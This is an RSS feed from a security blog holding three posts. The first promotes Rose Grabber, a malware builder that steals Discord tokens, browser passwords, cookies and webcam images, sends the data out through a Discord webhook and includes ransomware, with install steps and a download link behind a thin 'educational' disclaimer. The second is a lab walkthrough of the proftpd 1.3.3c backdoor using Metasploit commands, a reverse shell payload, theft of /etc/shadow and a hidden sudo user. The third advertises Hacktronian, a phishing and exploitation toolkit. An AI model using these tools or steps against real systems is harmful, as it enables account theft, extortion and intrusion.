<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>linux Archives - Tech Chronicles</title>
	<atom:link href="http://kostacipo.stream/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>https://kostacipo.stream/tag/linux/</link>
	<description>Ramblings of a Tech Dude</description>
	<lastBuildDate>Fri, 24 Nov 2023 00:15:08 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://kostacipo.stream/wp-content/uploads/2019/12/cropped-profile-32x32.jpg</url>
	<title>linux Archives - Tech Chronicles</title>
	<link>https://kostacipo.stream/tag/linux/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Rose Grabber: Python-Powered Discord Token Logger</title>
		<link>http://kostacipo.stream/rose-grabber-python-powered-discord-token-logger/</link>
					<comments>http://kostacipo.stream/rose-grabber-python-powered-discord-token-logger/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Fri, 24 Nov 2023 00:15:08 +0000</pubDate>
				<category><![CDATA[Exploitation Tools]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Password Cracking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2160</guid>

					<description><![CDATA[<p>This tool is designed for educational purposes, aiming to showcase file vulnerabilities and promote proactive security measures. Rose Grabber emphasizes a didactic approach, highlighting the significance of strengthening data security and using technology ethically. Rose Grabber: Capture Discord Tokens With Reduced Detection Rates While this tool has a sophisticated mechanism that could exploit Discord Nitro [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/rose-grabber-python-powered-discord-token-logger/">Rose Grabber: Python-Powered Discord Token Logger</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="row">
<div class="col-lg-12">
<p>This tool is designed for educational purposes, aiming to showcase file vulnerabilities and promote proactive security measures. Rose Grabber emphasizes a didactic approach, highlighting the significance of strengthening data security and using technology ethically.</p>
<h2>Rose Grabber: Capture Discord Tokens With Reduced Detection Rates</h2>
<p>While this tool has a sophisticated mechanism that could exploit Discord Nitro privileges through compromised accounts, the author strongly urges you not to go down that path for personal gain. Remember, the purpose here is to teach and emphasize the importance of data security and ethical tech use. Stay safe and responsible!</p>
<figure class="wp-block-image size-large img-fluid text-center"><img decoding="async" class="wp-image-16586 lazyloaded" src="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1.png" sizes="(max-width: 744px) 100vw, 744px" srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1.png 744w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-300x210.png 300w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-100x70.png 100w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-276x193.png 276w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-444x310.png 444w" alt="" data-srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1.png 744w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-300x210.png 300w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-100x70.png 100w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-276x193.png 276w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1-444x310.png 444w" data-src="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber1.png" data-sizes="(max-width: 744px) 100vw, 744px" /></figure>
<h3 class="accent-green">Features:</h3>
<ol>
<li><strong>GUI Builder:</strong> Create user-friendly interfaces easily.</li>
<li><strong>Custom Icon:</strong> Set a unique icon for your application.</li>
<li><strong>Runs On Startup:</strong> Automatically start with Windows.</li>
<li><strong>Anti-VM:</strong> Detect and evade virtual machine environments.</li>
<li><strong>Melt Stub:</strong> Make the malware difficult to detect by self-destructing.</li>
<li><strong>Fake Error:</strong> Display fake error messages to deceive users.</li>
<li><strong>File Pumper:</strong> Inflate file sizes to hide malicious content.</li>
<li><strong>Discord Injection:</strong> Inject code into Discord processes.</li>
<li><strong>Steals Discord Tokens:</strong> Extract user tokens from Discord.</li>
<li><strong>Steals Passwords From Many Browsers:</strong> Extract stored passwords.</li>
<li><strong>Steals Cookies From Many Browsers:</strong> Collect browser cookies.</li>
<li><strong>Steals History From Many Browsers:</strong> Access browsing history.</li>
<li><strong>Steals Roblox Cookies:</strong> Gather Roblox-related data.</li>
<li><strong>Steals IP Information:</strong> Collect IP addresses.</li>
<li><strong>Steals System Info:</strong> Gather system-specific details.</li>
<li><strong>Steals Saved Wifi Passwords:</strong> Extract saved Wi-Fi passwords.</li>
<li><strong>Captures Screenshot:</strong> Take screenshots of the user’s desktop.</li>
<li><strong>Captures Webcam Image:</strong> Access and capture webcam images.</li>
<li><strong>Sends All Data Through Discord Webhook:</strong> Send stolen data to specified destinations.</li>
<li><strong>File Type Selection:</strong> Choose between screensaver or executable.</li>
<li><strong>Ransomware:</strong> Forces the victim to pay a specific amount in Monero or they will lose all their data. Decrypter can be found in components/tools.</li>
</ol>
</div>
<h2><img decoding="async" src="https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/rosebb.png" alt="R" /></h2>
<div class="col-lg-12">
<h2 class="accent-purple">Installation:</h2>
<p>Click on the provided link to download the repository.</p>
<p>Unzip the downloaded ZIP folder to access its contents.</p>
<p>Since the current install script is not optimized and may not work properly, you need to install the requirements manually. Open a command prompt in the <code>components/scrapedata</code> directory and run this command:</p>
<pre class="wp-block-code"><code>pip uninstall crypto &amp;&amp; pip uninstall pycryptodome &amp;&amp; pip uninstall pycrypto &amp;&amp; pip install -r requiremens.txt.</code></pre>
<p>To run the program, simply double-click the start script (<code>start.bat</code>). This will initiate the builder after successfully installing the requirements.</p>
<figure class="wp-block-image size-large"><img decoding="async" class="wp-image-16583 lazyloaded" src="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-1024x524.png" sizes="(max-width: 1024px) 100vw, 1024px" srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-1024x524.png 1024w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-300x154.png 300w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-768x393.png 768w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-1536x786.png 1536w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-350x179.png 350w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-500x256.png 500w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2.png 1969w" alt="" data-srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-1024x524.png 1024w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-300x154.png 300w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-768x393.png 768w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-1536x786.png 1536w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-350x179.png 350w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-500x256.png 500w, https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2.png 1969w" data-src="https://cdn.cyberpunk.rs/wp-content/uploads/2023/10/rose-grabber2-1024x524.png" data-sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
<div class="row justify-content-center mb-3">
<div class="col-lg-4"><a href="https://github.com/DamagingRose/Rose-Grabber/blob/main/README.md">DOCUMENTATION</a>    <a href="https://github.com/DamagingRose/Rose-Grabber">DOWNLOAD</a></div>
</div>
</div>
</div>
<p>The post <a href="http://kostacipo.stream/rose-grabber-python-powered-discord-token-logger/">Rose Grabber: Python-Powered Discord Token Logger</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/rose-grabber-python-powered-discord-token-logger/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploiting the proftpd Linux Server</title>
		<link>http://kostacipo.stream/exploiting-the-proftpd-linux-server/</link>
					<comments>http://kostacipo.stream/exploiting-the-proftpd-linux-server/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 24 Jul 2023 22:21:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2155</guid>

					<description><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen. Don’t get too excited. This Behind the Scenes [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen.</p>
<p>Don’t get too excited. This Behind the Scenes (BTS) walkthrough is using an old, patched, well-documented vulnerability that was fixed shortly after it was discovered, but it serves as a great example showing how Linux servers are exploited if you don’t keep them patched and up-to-date.</p>
<p>We’ll go through the steps threat actors use to infiltrate a system:</p>
<ul>
<li>Reconnaissance</li>
<li>Scanning</li>
<li>Obtaining Access</li>
<li>Exfilitrating data</li>
<li>Maintaining Persistence</li>
<li>Pivoting</li>
</ul>
<h2 id="h-lab-environment">Lab Environment</h2>
<p>The local home lab provides everything we need for this walkthrough.</p>
<ul>
<li>Vulnerable Linux Machine &#8211; Ubuntu 16.04
<ul>
<li>proftpd 1.3.3c</li>
<li>Apache HTTP</li>
<li>OpenSSH</li>
</ul>
</li>
<li>Attacking Machine &#8211; Ubuntu Server 22.04
<ul>
<li>Nmap</li>
<li>Metasploit</li>
</ul>
</li>
</ul>
<p>These tools are widely used by penetration testers, network administrators, and threat actors alike. The first tool is Nmap, short for Network Mapper. For network admins, Nmap helps to find networked computers, discover open ports, available services, and detect known vulnerabilities on their network. Once a list of services is discovered, they can be exploited.</p>
<h2 id="h-scanning-with-nmap">Scanning with Nmap</h2>
<p>This is part of the reconnaissance or scanning phase where the threat actor wants to learn as much about the target system as they can. Because this is a demonstration we are not going to be quiet about our attack and will do nothing to conceal our intentions. We will use <strong>-sV</strong> option that tells us the current version of any services that are running. This is a noisy attack that should be picked up by most intrusion detection systems or SIEMs.</p>
<p><code>$ nmap -sV 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='242.6896551724138'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results from this command reveal a lot about our target system. Each open port is vulnerable to a potential attack. In our simulated attack, we are going to concentrate on the ftp service running the <strong>proftpd 1.3.3c</strong> software on Port 21.</p>
<table>
<tbody>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>State</th>
<th>Service</th>
<th>Version</th>
</tr>
<tr>
<td><strong>21</strong></td>
<td><strong>tcp</strong></td>
<td><strong>open</strong></td>
<td><strong>ftp</strong></td>
<td><strong>proftpd 1.3.3c</strong></td>
</tr>
<tr>
<td>22</td>
<td>tcp</td>
<td>open</td>
<td>ssh</td>
<td>OpenSSH 7.2p2</td>
</tr>
<tr>
<td>80</td>
<td>tcp</td>
<td>open</td>
<td>http</td>
<td>Apache 2.4.18</td>
</tr>
</tbody>
</table>
<p>The <strong>proftpd 1.3.3c</strong> software was patched over 10 years ago but serves as a good example of how a vulnerable piece of software can be exploited. It is highly unlikely to still be running as an unpatched service.</p>
<h2 id="h-researching-vulnerabilities">Researching Vulnerabilities</h2>
<p>We could use Google to learn more about the vulnerabilities in the <strong>proftpd 1.3.3c</strong> server, or we can use the next tool in our toolbox, Metasploit, and use its built-in database to find known vulnerabilities.</p>
<p>Metasploit is an open-source penetration testing framework that helps network administrators, and security professionals discover vulnerabilities in their systems before exploitation by hackers. Complete with various tools, libraries, user interfaces, and modules, Metasploit allows a user to research, configure a payload, point it at a target, and launch an attack. Metasploit’s extensive database contains hundreds of exploits and payloads. Unfortunately, Metasploit is also widely used by threat actors.</p>
<h2 id="h-launching-metasploit">Launching Metasploit</h2>
<p>Find installation <a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">instructions for Metasploit in the documentation</a> and start the Metasploit framework as root with the following command.</p>
<p><code>$ sudo msfconsole</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='456.23336745138175'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<h2 id="h-search-the-database-for-known-exploits">Search the Database for Known Exploits</h2>
<p>Metasploit comes with an extensive database and technical details of over 180,000 vulnerabilites and 4000 exploits. These are all searchable with the <strong>search</strong> command from the Metasploit command line. We are going to use this database to find <strong>proftpd 1.3.3c</strong> vulnerabilities and known exploits.</p>
<p><code>msf6&gt; search proftpd 1.3.3c</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='171.63141993957703'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results of the search command reveal that there is a backdoor command execution exploit. This is what we are going to use to gain access to the Linux server.</p>
<h2 id="h-gaining-system-access">Gaining System Access</h2>
<p>Let’s begin initial access to the server by configuring our attack by typing <em><strong>use exploit/unix/ftp/proftpd_133c_backdoor</strong></em> <em>or simply the module ID number, <strong>use 0.</strong></em></p>
<p><code>msf6 &gt; use exploit/unix/ftp/proftpd_133c_backdoor</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='59.20550847457628'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Use the <strong>show payloads</strong> command to display the payloads available for the proftpd_133c_backdoor module.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; show payloads</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='293.33668341708545'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>From the available payloads for the proftpd_133c_backdoor exploit, we are interested in <strong>Option 5</strong>, the <strong>payload/cmd/unix/reverse_perl command</strong>. Set the option using the payload number or the full command as follows:</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set PAYLOAD cmd/unix/reverse_perl</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='60.29962546816479'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Now we need to make some site-specific configuration settings. The first is the IP address of the target machine. Set the remote host IP address with the RHOSTS command. This is the same IP address we used during our Nmap scan earlier and the machine that is running the proftpd_1.3.3c server.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set RHOSTS 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='47.614035087719294'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The local IP address is the computer that we are using for this attack. In our case, the LHOST is 10.10.10.171.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set LHOST 10.10.10.171</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='752' height='55.97074468085106'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The Metasploit configuration is complete. Run the exploit with the <strong>exploit</strong> command.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; exploit</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='98.14973262032085'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>This exploit takes a few seconds to run. When you see ‘Command shell session 1 opened’ you can issue Linux commands by typing a command name. In our example, entering the <strong>whoami</strong> command displays the current user, which is root. This is a big deal! Root is the superuser account in UNIX, has administrative purposes, and typically has the highest access rights on the system.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='100.03174603174602'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>At this point, the system is compromised and you can do whatever you want.</p>
<h2 id="h-gaining-a-shell">Gaining a Shell</h2>
<p>To have any real fun on our compromised system we are going to want a full Linux shell. The following python command spawns a bash shell.</p>
<pre class="language-bash" tabindex="0"><code class="language-bash">python3 <span class="token parameter variable">-c</span> <span class="token string">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='745' height='40.75167785234899'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Once we have a proper shell we can move through the system as root, having full access to the Linux environment. This is where the system is most vulnerable. As root we can install rootkits, malware, ransomware, and exfiltrate data.</p>
<h2 id="h-data-exfiltration">Data Exfiltration</h2>
<p>Data exfiltration is when a threat actor performs the unauthorized copying, transfer, or retrieval of data from a computer or server. As root, we have full access to the computer and can do anything we want including data exfiltration.</p>
<p>The Linux <strong>/etc/password</strong> file contains a list of system users, combined with the <strong>/etc/shadow</strong> file which contains encrypted passwords. Together these two files can be hacked to reveal username/password combinations for lateral movement through the network.</p>
<p>Again, we don’t really care about protecting our identity or our intentions (a SIEM would flag this immediately) so we are going to use <strong>scp</strong> (secure copy) to copy the password and shadow files to our remote server.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='89.36989498249709'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And <strong>/etc/shadow</strong></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='778' height='99.33161953727506'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>We exfiltrated <strong>/etc/passwd</strong> and <strong>/etc/shadow</strong> to our local machine. There is no reason that we could not also exfiltrate databases, customer information, stored credit cards, or company-sensitive information out of the network to a remote location as we did with the password files.</p>
<h2 id="h-usernames-and-passwords">Usernames and Passwords</h2>
<p>Cracking the hashed passwords is beyond the scope of this walkthrough, but if you can crack the passwords, an attacker can use the same credentials to pivot to other machines across the network. <strong>John the Ripper</strong> and <strong>Hashcat</strong> are two well-known password cracking tools that can quickly reveal username/password combinations.</p>
<h2 id="h-maintaining-persistence">Maintaining Persistence</h2>
<p>Persistence in cybersecurity occurs when a threat actor discreetly maintains long-term access to systems despite disruptions such as restarts or changed credentials.  As root user, we can perform any administrative task we want, including adding users. One of the ways to maintain persistence is by adding a new user so the threat actor can gain access at a later time. Let’s add a new user.</p>
<p><code>root@vtsec:/# adduser badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='738' height='54.22764227642276'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And give them superuser access.</p>
<p><code>root@vtsec:/# usermod -aG sudo badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='740' height='61.54054054054054'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>In the Sophos Active Adversary Playbook for 2021, “The median time that attackers were able to remain in the target network before detection – dwell time – was 11 days. This provides attackers with approximately 264 hours for malicious activity, such as lateral movement, reconnaissance, credential dumping, data exfiltration, and more.” Becoming a user of the system is one of the ways they can maintain persistence during this dwell time.</p>
<h2 id="h-how-to-protect-your-network">How to Protect Your Network</h2>
<p>This type of attack would be caught by Antivirus (AV), Data Loss Prevention (DLP), and other SIEM solutions to control intrusions and data exfiltration. These are all basic cyber security tools that are part of a company’s overall security strategy that focuses on detecting and preventing the loss, leakage, or misuse of data through breaches, exfiltration, and unauthorized use.</p>
<p>Although it’s unlikely to find the <strong>proftpd 1.3.3c</strong> vulnerability because it was patched a long time ago, protecting your servers from this type of attack is the first step to protecting them. Update your software and perform routine patch management for all of your services.</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/exploiting-the-proftpd-linux-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hacktronian: All in One Hacking Tool for Linux</title>
		<link>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/</link>
					<comments>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sun, 22 Aug 2021 19:05:06 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Hacker Tools]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2099</guid>

					<description><![CDATA[<p>Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester. Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/">Hacktronian: All in One Hacking Tool for Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester.</p>
<p>Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on targets and perform post exploitation operations on the target. This main benefit of this suite is that all these different tools are available in one place and the user can experiment with different tools within the same terminal. The secondary benefit of this tool is that it can be installed on Android with all the same features.</p>
<h3 class="accent-green">Features:</h3>
<ul>
<li>Contains more than 50 different tools</li>
<li>Modules range from information gathering to post exploitation</li>
<li>Available for both Android and Linux</li>
<li>Perfect for creating a penetration testing workflow</li>
</ul>
<h2>HACKTRONIAN Menu :</h2>
<ul>
<li>Information Gathering</li>
<li>Password Attacks</li>
<li>Wireless Testing</li>
<li>Exploitation Tools</li>
<li>Sniffing &amp; Spoofing</li>
<li>Web Hacking</li>
<li>Private Web Hacking</li>
<li>Post Exploitation</li>
<li>Install The HACKTRONIAN</li>
</ul>
<h3>Information Gathering:</h3>
<ul>
<li>Nmap</li>
<li>Setoolkit</li>
<li>Port Scanning</li>
<li>Host To IP</li>
<li>wordpress user</li>
<li>CMS scanner</li>
<li>XSStrike</li>
<li>Dork &#8211; Google Dorks Passive Vulnerability Auditor</li>
<li>Scan A server&#8217;s Users</li>
<li>Crips</li>
</ul>
<h3>Password Attacks:</h3>
<ul>
<li>Cupp</li>
<li>Ncrack</li>
</ul>
<h3></h3>
<h3>Wireless Testing:</h3>
<ul>
<li>reaver</li>
<li>pixiewps</li>
<li>Fluxion</li>
</ul>
<h3>Exploitation Tools:</h3>
<ul>
<li>ATSCAN</li>
<li>sqlmap</li>
<li>Shellnoob</li>
<li>commix</li>
<li>FTP Auto Bypass</li>
<li>jboss-autopwn</li>
</ul>
<h3>Sniffing &amp; Spoofing:</h3>
<ul>
<li>Setoolkit</li>
<li>SSLtrip</li>
<li>pyPISHER</li>
<li>SMTP Mailer</li>
</ul>
<h3>Web Hacking:</h3>
<ul>
<li>Drupal Hacking</li>
<li>Inurlbr</li>
<li>WordPress &amp; Joomla Scanner</li>
<li>Gravity Form Scanner</li>
<li>File Upload Checker</li>
<li>WordPress Exploit Scanner</li>
<li>WordPress Plugins Scanner</li>
<li>Shell and Directory Finder</li>
<li>Joomla! 1.5 &#8211; 3.4.5 remote code execution</li>
<li>Vbulletin 5.X remote code execution</li>
<li>BruteX &#8211; Automatically brute force all services running on a target</li>
<li>Arachni &#8211; Web Application Security Scanner Framework</li>
</ul>
<h3>Private Web Hacking:</h3>
<ul>
<li>Get all websites</li>
<li>Get joomla websites</li>
<li>Get wordpress websites</li>
<li>Control Panel Finder</li>
<li>Zip Files Finder</li>
<li>Upload File Finder</li>
<li>Get server users</li>
<li>SQli Scanner</li>
<li>Ports Scan (range of ports)</li>
<li>ports Scan (common ports)</li>
<li>Get server Info</li>
<li>Bypass Cloudflare</li>
</ul>
<h3>Post Exploitation:</h3>
<ul>
<li>Shell Checker</li>
<li>POET</li>
<li>Weeman</li>
</ul>
<h3 class="accent-green">Supported Platforms:</h3>
<ul>
<li>Linux</li>
<li>Android (Termux)</li>
</ul>
<h2>Installation in Linux :</h2>
<p>This Tool Must Run As ROOT !!!</p>
<p><code>git clone https://github.com/thehackingsage/hacktronian.git</code></p>
<p><code>cd hacktronian</code></p>
<p><code>chmod +x install.sh</code></p>
<p><code>./install.sh</code></p>
<p>That&#8217;s it.. you can execute tool by typing <strong>hacktronian</strong></p>
<h2>Installation in Android :</h2>
<p>Open <a href="https://play.google.com/store/apps/details?id=com.termux" rel="nofollow">Termux</a></p>
<p><code>pkg install git</code></p>
<p><code>pkg install python</code></p>
<p><code>git clone https://github.com/thehackingsage/hacktronian.git</code></p>
<p><code>cd hacktronian</code></p>
<p><code>chmod +x hacktronian.py</code></p>
<p><code>python2 hacktronian.py</code></p>
<h2>Video Tutorial :</h2>
<p>YouTube : <a href="https://www.youtube.com/watch?v=1LJlyQAQby4" rel="nofollow">https://www.youtube.com/watch?v=1LJlyQAQby4</a></p>
<h2>Hacktronian Usage</h2>
<p>To execute Hacktronian, run:</p>
<pre class="wp-block-preformatted">$ hacktronian</pre>
<pre class="wp-block-preformatted"> _   _    _    ____ _  _______ ____   ___  _   _ ___    _    _   _ 
| | | |  / \  / ___| |/ /_   _|  _ \ / _ \| \ | |_ _|  / \  | \ | |
| |_| | / _ \| |   | ' /  | | | |_) | | | |  \| || |  / _ \ |  \| |
|  _  |/ ___ \ |___| . \  | | |  _ &lt;| |_| | |\  || | / ___ \| |\  |
|_| |_/_/   \_\____|_|\_\ |_| |_| \_\_ __/|_| \_|___/_/   \_\_| \_|
 
[!] This Tool Must Run As ROOT [!] https://linktr.ee/thehackingsage
 
   {1}--Information Gathering
   {2}--Password Attacks
   {3}--Wireless Testing
   {4}--Exploitation Tools
   {5}--Sniffing &amp; Spoofing
   {6}--Web Hacking
   {7}--Private Web Hacking
   {8}--Post Exploitation
   {0}--Install The HACKTRONIAN
   {99}-Exit
 
hacktronian~#</pre>
<p><strong>Download</strong>: <a href="https://github.com/thehackingsage/hacktronian">https://github.com/thehackingsage/hacktronian</a></p>
<div class="row justify-content-center mb-3">
<div class="col-lg-4"></div>
</div>
<p>The post <a href="http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/">Hacktronian: All in One Hacking Tool for Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
